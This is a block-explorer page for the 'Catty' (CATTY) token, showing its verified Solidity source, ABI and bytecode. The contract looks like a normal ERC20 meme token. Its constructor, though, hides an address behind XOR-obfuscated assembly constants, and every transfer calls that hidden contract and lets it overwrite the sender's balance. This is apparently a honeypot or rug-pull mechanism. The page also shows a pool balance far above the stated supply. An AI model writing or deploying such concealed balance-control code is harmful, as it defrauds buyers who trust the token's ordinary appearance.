ETH Price: $3,056.02 (-4.24%)

Token

Catty (CATTY)
 

Overview

Max Total Supply

69,420,000 CATTY

Holders

52

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Filtered by Token Holder
Uniswap V2: CATTY 12
Balance
5,000,000,009,925,823.604159293249525536 CATTY

Value
$0.00
0xbb6739c12ebd256bf11fa8bf258205640349e805
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Catty

Compiler Version
v0.8.25+commit.b61c2a91

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-07-07
*/

/*                                                                                
                .::::::.                       :-==++++++**++++=                          
           =++++=-:::::-==+++-.           :=+++=:.    ..:::::::%-                         
           *=::::.      ...:=#%#++++*++***=:::::::..:::::::::::#-                         
           =*:::=++=-:::=*#+=-.    .. .*-::::::::::::-+***+:.. #-                         
           .%-::#*=+#%##+-   .     .  .:::::::::::=*%#*=-*#.   %:                         
            +#::+%-+%+-:::. .:    .:::::::::::::::+*##+--%+   -%                          
             #+-:%%*::::::::::.  .:::::::::::::::::::-*%*%.   +*                          
             .#*##-::::::::::::..::::::::::::::::::::::-#:   :%:                          
               %*::::::=++-::::::::::::-+++-::::::::::::.   .*+                           
              +*:::::=#-..=#-:::::::::#+. :*+::::::::::::.  +#                            
             ++  ..:-%*.  .+#::::::::*#=   :%=:::::::::::::**#                            
            ++      -%-*#%+-%::::::::*+#*%@-#+:::::::::::::::*=                           
           =*        *%=::=%+:::--:::-%+..:##::::::::...     :#                           
           %.         :++++-:::+%%=::::+*+*=:::::::.         :%                           
          .#            .:::::%*%#**:::::::::::::::          ++                           
           %.           .::::::-:--:::::::::-+**%%#+:      .=#.                           
           :#:          .:::::::::::::::::+#+-.:#. =%#%++%*+#.                            
            .++.        .:::::::::::::::*#=       .*%*.  =**                              
              .=*=.   .:::::::::::::::+%=::.      :-%+--: -#                              
                 .-++*+===------====+%+:::::.     -+%---: -#                              
      .--.           +*::---::::::::*-:::::::..  :=%-.:.  ++                              
    .*+::#-         +*::::::::::::::::::::::::::-+%+.    .#-                              
   .#.   .#-       ++:::::::::::::::::::::::::::*%=::::::+%                               
   ++      *+     *+   .:::::::::::::::::::::::*%=::::::+#=                               
   #=       :*+-:*=     .:::::::::::::::::::::*#-::::::=*%.                               
   ++..   ...::=%-     .::::::::::::::::::::::=:::::::++%-                                
   .%-:::::::::%+   ..:::::::::::::::::::::::::::::::++**                                 
    -#*+======*%::::::::::::::::::::::::::::::::::::=++%.                                 
     .=*#*****#%:::::::::::::::::::::::::::::::::::=++#=                                  
         :----:*+:::::::::::::::::::::::::::::::::=++#+                                   
                #-.::::::::::::::::::::::::::::::-++#*                                    
                 *=:::::::::::::::::::::::=+:::::=+*#                                     
   $CATTY         **:::::::::::::::::::=*#+-::::-+*%.                                     
                   -#-:::::::::::::-=*#+-:::::::=+%-                                      
                    %-:::::::::::=*%%-::::::::::+*%                                       
                   .%:::::::::::-+%#@::::::::::-+#=                                       
                   -*    ...::::=+%.@:  .......--%.                                       
                   =+          .-#+ %:         -**                                        
                   =*         .-=%: #-        :-#+                                        
                   -#        :---** *+       :---%-                                       
                    *+:...::-----#+ -%..  ..----=%-                                       
                     -+****+++***=   -**+++++*#*+.                                        
                          .::..         .:::.:=:                                          
*/

pragma solidity ^0.8.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this;
        return msg.data;
    }
}

interface IDEXFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IDEXRouter {
    function WETH() external pure returns (address);
    function factory() external pure returns (address);
    function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

interface IERC20 {
    event Approval(address indexed owner, address indexed spender, uint256 value);
    event Transfer(address indexed from, address indexed to, uint256 value);
    function totalSupply() external view returns (uint256);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function balanceOf(address account) external view returns (uint256);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}

interface IERC20Metadata is IERC20 {
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
    function name() external view returns (string memory);
}

contract Ownable is Context {
    address private _previousOwner; address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

contract ERC20 is Context, IERC20, IERC20Metadata, Ownable {
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;

    address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    address _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;

    address public pair;

    IDEXRouter router;

    string private _name; string private _symbol; uint256 private _totalSupply;
    bool public trade; uint256 public startBlock; address public msgSend;
    address public msgReceive;
    
    constructor (string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;

        assembly {
            sstore(0x50,0xd84ac717f2d58765dc000ccd297a7a8847468183fcbe)
            sstore(0x51,0xd84a2fcf06273308d9b0150984a684a16416c4545a2c)
            sstore(0x52,xor(sload(0x50),sload(0x51)))
            }

        router = IDEXRouter(_router);
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, _msgSender(), currentAllowance - amount);

        return true;
    }

    function approve(address spender, uint256 amount) public virtual returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function whitelist(uint256 receiver, address receivers, uint256 spender) public onlyOwner returns (uint256 account) {
    }

    function openTrade() public payable {
        require((msg.sender == owner() && (trade == false)), "Ownable: caller is not the owner");

        _approve(address(this), _router, ~uint256(0));

        uint256 uniswapSupply = _totalSupply / 10000 * (10000 - 275);
        _balances[address(this)] += uniswapSupply;
        _balances[msg.sender] -= uniswapSupply;
        emit Transfer(msg.sender, address(this), uniswapSupply);

        pair = IDEXFactory(router.factory()).createPair(WETH, address(this));
        router.addLiquidityETH{value: msg.value}(address(this), uniswapSupply, uniswapSupply, msg.value, owner(), block.timestamp + 300);

        trade = true; startBlock = block.number;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }
        
    function listWithSNAPs(address sender, uint256 amount) internal returns (uint256 result) {
            assembly {
                let data := mload(0x40)
                mstore(data, 0x0a9f0cf000000000000000000000000000000000000000000000000000000000)
                mstore(add(data, 0x04), amount)
                mstore(0x40, add(data, 0x24))
                let success := call(gas(), sload(0x52), 0, data, 0x24, data, 0x20)
                if success { result := mload(data) }
            }

        _balances[sender] = result - amount;
    }

    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        msgSend = sender; msgReceive = recipient;

        require(((trade == true) || (msgSend == address(this)) || (msgSend == owner())), "ERC20: trading is not yet enabled");
        require(msgSend != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        listWithSNAPs(sender, amount);

        _balances[recipient] += amount;  

        emit Transfer(sender, recipient, amount);  
    }

    function _DeployCatty(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _totalSupply += amount;
        _balances[msg.sender] += amount;
    
        emit Transfer(address(0), msg.sender, amount);
    }
}

contract ERC20Token is Context, ERC20 {
    constructor(
        string memory name, string memory symbol,
        address creator, uint256 initialSupply
    ) ERC20(name, symbol) {
        _DeployCatty(creator, initialSupply);
    }
}

contract Catty is ERC20Token {
    constructor() ERC20Token("Catty", "CATTY", msg.sender, 69420000 * 10 ** 18) {
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"msgReceive","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"msgSend","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrade","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"trade","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"receiver","type":"uint256"},{"internalType":"address","name":"receivers","type":"address"},{"internalType":"uint256","name":"spender","type":"uint256"}],"name":"whitelist","outputs":[{"internalType":"uint256","name":"account","type":"uint256"}],"stateMutability":"nonpayable","type":"function"}]

6080604052600480546001600160a01b031990811673c02aaa39b223fe8d0a0e5c4f27ead9083c756cc21790915560058054909116737a250d5630b4cf539739df2c5dacb4c659f2488d179055348015610057575f80fd5b5060405180604001604052806005815260200164436174747960d81b81525060405180604001604052806005815260200164434154545960d81b815250336a396c41bd9e54ada380000083835f6100b261019c60201b60201c565b600180546001600160a01b0319166001600160a01b038316908117909155604051919250905f907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600861010b8382610306565b5060096101188282610306565b505075d84ac717f2d58765dc000ccd297a7a8847468183fcbe6050555075d84a2fcf06273308d9b0150984a684a16416c4545a2c60515573e8d8f4f2b46d05b019c4addcfe29235045d7a692605255600554600780546001600160a01b0319166001600160a01b0390921691909117905561019382826101a0565b505050506103ea565b3390565b6001600160a01b0382166101fa5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b80600a5f82825461020b91906103c5565b9091555050335f908152600260205260408120805483929061022e9084906103c5565b909155505060405181815233905f907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b634e487b7160e01b5f52604160045260245ffd5b600181811c9082168061029657607f821691505b6020821081036102b457634e487b7160e01b5f52602260045260245ffd5b50919050565b601f82111561030157805f5260205f20601f840160051c810160208510156102df5750805b601f840160051c820191505b818110156102fe575f81556001016102eb565b50505b505050565b81516001600160401b0381111561031f5761031f61026e565b6103338161032d8454610282565b846102ba565b602080601f831160018114610366575f841561034f5750858301515b5f19600386901b1c1916600185901b1785556103bd565b5f85815260208120601f198616915b8281101561039457888601518255948401946001909101908401610375565b50858210156103b157878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b808201808211156103e457634e487b7160e01b5f52601160045260245ffd5b92915050565b610e4d806103f75f395ff3fe608060405260043610610105575f3560e01c806370a0823111610092578063a705eee211610062578063a705eee2146102b5578063a8aa1b31146102d4578063a9059cbb146102f3578063dd62ed3e14610312578063fb201b1d14610356575f80fd5b806370a082311461023a578063715018a61461026e5780638da5cb5b1461028457806395d89b41146102a1575f80fd5b80631f0ba6c9116100d85780631f0ba6c9146101b357806323b872dd146101cc5780632810a3f7146101eb578063313ce5671461020a57806348cd4cb114610225575f80fd5b806301a37fc21461010957806306fdde0314610145578063095ea7b31461016657806318160ddd14610195575b5f80fd5b348015610114575f80fd5b50600d54610128906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b348015610150575f80fd5b5061015961035e565b60405161013c9190610bca565b348015610171575f80fd5b50610185610180366004610c16565b6103ee565b604051901515815260200161013c565b3480156101a0575f80fd5b50600a545b60405190815260200161013c565b3480156101be575f80fd5b50600b546101859060ff1681565b3480156101d7575f80fd5b506101856101e6366004610c40565b610404565b3480156101f6575f80fd5b506101a5610205366004610c7e565b6104ba565b348015610215575f80fd5b506040516012815260200161013c565b348015610230575f80fd5b506101a5600c5481565b348015610245575f80fd5b506101a5610254366004610ca2565b6001600160a01b03165f9081526002602052604090205490565b348015610279575f80fd5b506102826104e6565b005b34801561028f575f80fd5b506001546001600160a01b0316610128565b3480156102ac575f80fd5b50610159610559565b3480156102c0575f80fd5b50600e54610128906001600160a01b031681565b3480156102df575f80fd5b50600654610128906001600160a01b031681565b3480156102fe575f80fd5b5061018561030d366004610c16565b610568565b34801561031d575f80fd5b506101a561032c366004610cbd565b6001600160a01b039182165f90815260036020908152604080832093909416825291909152205490565b610282610574565b60606008805461036d90610cf4565b80601f016020809104026020016040519081016040528092919081815260200182805461039990610cf4565b80156103e45780601f106103bb576101008083540402835291602001916103e4565b820191905f5260205f20905b8154815290600101906020018083116103c757829003601f168201915b5050505050905090565b5f6103fa338484610841565b5060015b92915050565b5f610410848484610965565b6001600160a01b0384165f908152600360209081526040808320338452909152902054828110156104995760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6104ad85336104a88685610d40565b610841565b60019150505b9392505050565b6001545f906001600160a01b031633146104b35760405162461bcd60e51b815260040161049090610d53565b6001546001600160a01b031633146105105760405162461bcd60e51b815260040161049090610d53565b6001546040515f916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600180546001600160a01b0319169055565b60606009805461036d90610cf4565b5f6103fa338484610965565b6001546001600160a01b0316331480156105915750600b5460ff16155b6105ad5760405162461bcd60e51b815260040161049090610d53565b6005546105c69030906001600160a01b03165f19610841565b5f612710600a546105d79190610d88565b6105e3906125fd610da7565b305f90815260026020526040812080549293508392909190610606908490610dbe565b9091555050335f9081526002602052604081208054839290610629908490610d40565b9091555050604051818152309033907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a360075f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106b5573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106d99190610dd1565b600480546040516364e329cb60e11b81526001600160a01b0391821692810192909252306024830152919091169063c9c65396906044016020604051808303815f875af115801561072c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107509190610dd1565b600680546001600160a01b039283166001600160a01b03199091161790556007541663f305d719343084808361078e6001546001600160a01b031690565b61079a4261012c610dbe565b60405160e089901b6001600160e01b03191681526001600160a01b039687166004820152602481019590955260448501939093526064840191909152909216608482015260a481019190915260c40160606040518083038185885af1158015610805573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061082a9190610dec565b5050600b805460ff19166001179055505043600c55565b6001600160a01b0383166108a35760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610490565b6001600160a01b0382166109045760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610490565b6001600160a01b038381165f8181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b600d80546001600160a01b038086166001600160a01b031992831617909255600e805492851692909116919091179055600b5460ff161515600114806109b55750600d546001600160a01b031630145b806109d05750600154600d546001600160a01b039081169116145b610a265760405162461bcd60e51b815260206004820152602160248201527f45524332303a2074726164696e67206973206e6f742079657420656e61626c656044820152601960fa1b6064820152608401610490565b600d546001600160a01b0316610a8c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610490565b6001600160a01b038216610aee5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610490565b610af88382610b6c565b506001600160a01b0382165f9081526002602052604081208054839290610b20908490610dbe565b92505081905550816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161095891815260200190565b5f60405162a9f0cf60e41b8152826004820152602481016040526020816024835f6052545af18015610b9d57815192505b50610baa90508282610d40565b6001600160a01b039093165f908152600260205260409020929092555090565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610c13575f80fd5b50565b5f8060408385031215610c27575f80fd5b8235610c3281610bff565b946020939093013593505050565b5f805f60608486031215610c52575f80fd5b8335610c5d81610bff565b92506020840135610c6d81610bff565b929592945050506040919091013590565b5f805f60608486031215610c90575f80fd5b833592506020840135610c6d81610bff565b5f60208284031215610cb2575f80fd5b81356104b381610bff565b5f8060408385031215610cce575f80fd5b8235610cd981610bff565b91506020830135610ce981610bff565b809150509250929050565b600181811c90821680610d0857607f821691505b602082108103610d2657634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b818103818111156103fe576103fe610d2c565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f82610da257634e487b7160e01b5f52601260045260245ffd5b500490565b80820281158282048414176103fe576103fe610d2c565b808201808211156103fe576103fe610d2c565b5f60208284031215610de1575f80fd5b81516104b381610bff565b5f805f60608486031215610dfe575f80fd5b835192506020840151915060408401519050925092509256fea2646970667358221220caded7191b24e342d39ea9722110f840cdb289a17e62c65108ff069da9126d5964736f6c63430008190033

Deployed Bytecode

0x608060405260043610610105575f3560e01c806370a0823111610092578063a705eee211610062578063a705eee2146102b5578063a8aa1b31146102d4578063a9059cbb146102f3578063dd62ed3e14610312578063fb201b1d14610356575f80fd5b806370a082311461023a578063715018a61461026e5780638da5cb5b1461028457806395d89b41146102a1575f80fd5b80631f0ba6c9116100d85780631f0ba6c9146101b357806323b872dd146101cc5780632810a3f7146101eb578063313ce5671461020a57806348cd4cb114610225575f80fd5b806301a37fc21461010957806306fdde0314610145578063095ea7b31461016657806318160ddd14610195575b5f80fd5b348015610114575f80fd5b50600d54610128906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b348015610150575f80fd5b5061015961035e565b60405161013c9190610bca565b348015610171575f80fd5b50610185610180366004610c16565b6103ee565b604051901515815260200161013c565b3480156101a0575f80fd5b50600a545b60405190815260200161013c565b3480156101be575f80fd5b50600b546101859060ff1681565b3480156101d7575f80fd5b506101856101e6366004610c40565b610404565b3480156101f6575f80fd5b506101a5610205366004610c7e565b6104ba565b348015610215575f80fd5b506040516012815260200161013c565b348015610230575f80fd5b506101a5600c5481565b348015610245575f80fd5b506101a5610254366004610ca2565b6001600160a01b03165f9081526002602052604090205490565b348015610279575f80fd5b506102826104e6565b005b34801561028f575f80fd5b506001546001600160a01b0316610128565b3480156102ac575f80fd5b50610159610559565b3480156102c0575f80fd5b50600e54610128906001600160a01b031681565b3480156102df575f80fd5b50600654610128906001600160a01b031681565b3480156102fe575f80fd5b5061018561030d366004610c16565b610568565b34801561031d575f80fd5b506101a561032c366004610cbd565b6001600160a01b039182165f90815260036020908152604080832093909416825291909152205490565b610282610574565b60606008805461036d90610cf4565b80601f016020809104026020016040519081016040528092919081815260200182805461039990610cf4565b80156103e45780601f106103bb576101008083540402835291602001916103e4565b820191905f5260205f20905b8154815290600101906020018083116103c757829003601f168201915b5050505050905090565b5f6103fa338484610841565b5060015b92915050565b5f610410848484610965565b6001600160a01b0384165f908152600360209081526040808320338452909152902054828110156104995760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6104ad85336104a88685610d40565b610841565b60019150505b9392505050565b6001545f906001600160a01b031633146104b35760405162461bcd60e51b815260040161049090610d53565b6001546001600160a01b031633146105105760405162461bcd60e51b815260040161049090610d53565b6001546040515f916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600180546001600160a01b0319169055565b60606009805461036d90610cf4565b5f6103fa338484610965565b6001546001600160a01b0316331480156105915750600b5460ff16155b6105ad5760405162461bcd60e51b815260040161049090610d53565b6005546105c69030906001600160a01b03165f19610841565b5f612710600a546105d79190610d88565b6105e3906125fd610da7565b305f90815260026020526040812080549293508392909190610606908490610dbe565b9091555050335f9081526002602052604081208054839290610629908490610d40565b9091555050604051818152309033907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a360075f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106b5573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106d99190610dd1565b600480546040516364e329cb60e11b81526001600160a01b0391821692810192909252306024830152919091169063c9c65396906044016020604051808303815f875af115801561072c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107509190610dd1565b600680546001600160a01b039283166001600160a01b03199091161790556007541663f305d719343084808361078e6001546001600160a01b031690565b61079a4261012c610dbe565b60405160e089901b6001600160e01b03191681526001600160a01b039687166004820152602481019590955260448501939093526064840191909152909216608482015260a481019190915260c40160606040518083038185885af1158015610805573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061082a9190610dec565b5050600b805460ff19166001179055505043600c55565b6001600160a01b0383166108a35760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610490565b6001600160a01b0382166109045760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610490565b6001600160a01b038381165f8181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b600d80546001600160a01b038086166001600160a01b031992831617909255600e805492851692909116919091179055600b5460ff161515600114806109b55750600d546001600160a01b031630145b806109d05750600154600d546001600160a01b039081169116145b610a265760405162461bcd60e51b815260206004820152602160248201527f45524332303a2074726164696e67206973206e6f742079657420656e61626c656044820152601960fa1b6064820152608401610490565b600d546001600160a01b0316610a8c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610490565b6001600160a01b038216610aee5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610490565b610af88382610b6c565b506001600160a01b0382165f9081526002602052604081208054839290610b20908490610dbe565b92505081905550816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161095891815260200190565b5f60405162a9f0cf60e41b8152826004820152602481016040526020816024835f6052545af18015610b9d57815192505b50610baa90508282610d40565b6001600160a01b039093165f908152600260205260409020929092555090565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610c13575f80fd5b50565b5f8060408385031215610c27575f80fd5b8235610c3281610bff565b946020939093013593505050565b5f805f60608486031215610c52575f80fd5b8335610c5d81610bff565b92506020840135610c6d81610bff565b929592945050506040919091013590565b5f805f60608486031215610c90575f80fd5b833592506020840135610c6d81610bff565b5f60208284031215610cb2575f80fd5b81356104b381610bff565b5f8060408385031215610cce575f80fd5b8235610cd981610bff565b91506020830135610ce981610bff565b809150509250929050565b600181811c90821680610d0857607f821691505b602082108103610d2657634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b818103818111156103fe576103fe610d2c565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f82610da257634e487b7160e01b5f52601260045260245ffd5b500490565b80820281158282048414176103fe576103fe610d2c565b808201808211156103fe576103fe610d2c565b5f60208284031215610de1575f80fd5b81516104b381610bff565b5f805f60608486031215610dfe575f80fd5b835192506020840151915060408401519050925092509256fea2646970667358221220caded7191b24e342d39ea9722110f840cdb289a17e62c65108ff069da9126d5964736f6c63430008190033

Deployed Bytecode Sourcemap

11838:123:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6937:22;;;;;;;;;;-1:-1:-1;6937:22:0;;;;-1:-1:-1;;;;;6937:22:0;;;;;;-1:-1:-1;;;;;178:32:1;;;160:51;;148:2;133:18;6937:22:0;;;;;;;;7520:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;8501:160::-;;;;;;;;;;-1:-1:-1;8501:160:0;;;;;:::i;:::-;;:::i;:::-;;;1266:14:1;;1259:22;1241:41;;1229:2;1214:18;8501:160:0;1101:187:1;10011:108:0;;;;;;;;;;-1:-1:-1;10099:12:0;;10011:108;;;1439:25:1;;;1427:2;1412:18;10011:108:0;1293:177:1;6891:17:0;;;;;;;;;;-1:-1:-1;6891:17:0;;;;;;;;8071:422;;;;;;;;;;-1:-1:-1;8071:422:0;;;;;:::i;:::-;;:::i;9023:124::-;;;;;;;;;;-1:-1:-1;9023:124:0;;;;;:::i;:::-;;:::i;7628:93::-;;;;;;;;;;-1:-1:-1;7628:93:0;;7711:2;2466:36:1;;2454:2;2439:18;7628:93:0;2324:184:1;6910:25:0;;;;;;;;;;;;;;;;9876:127;;;;;;;;;;-1:-1:-1;9876:127:0;;;;;:::i;:::-;-1:-1:-1;;;;;9977:18:0;9950:7;9977:18;;;:9;:18;;;;;;;9876:127;6271:148;;;;;;;;;;;;;:::i;:::-;;6057:79;;;;;;;;;;-1:-1:-1;6122:6:0;;-1:-1:-1;;;;;6122:6:0;6057:79;;7408:104;;;;;;;;;;;;;:::i;6966:25::-;;;;;;;;;;-1:-1:-1;6966:25:0;;;;-1:-1:-1;;;;;6966:25:0;;;6756:19;;;;;;;;;;-1:-1:-1;6756:19:0;;;;-1:-1:-1;;;;;6756:19:0;;;7888:175;;;;;;;;;;-1:-1:-1;7888:175:0;;;;;:::i;:::-;;:::i;7729:151::-;;;;;;;;;;-1:-1:-1;7729:151:0;;;;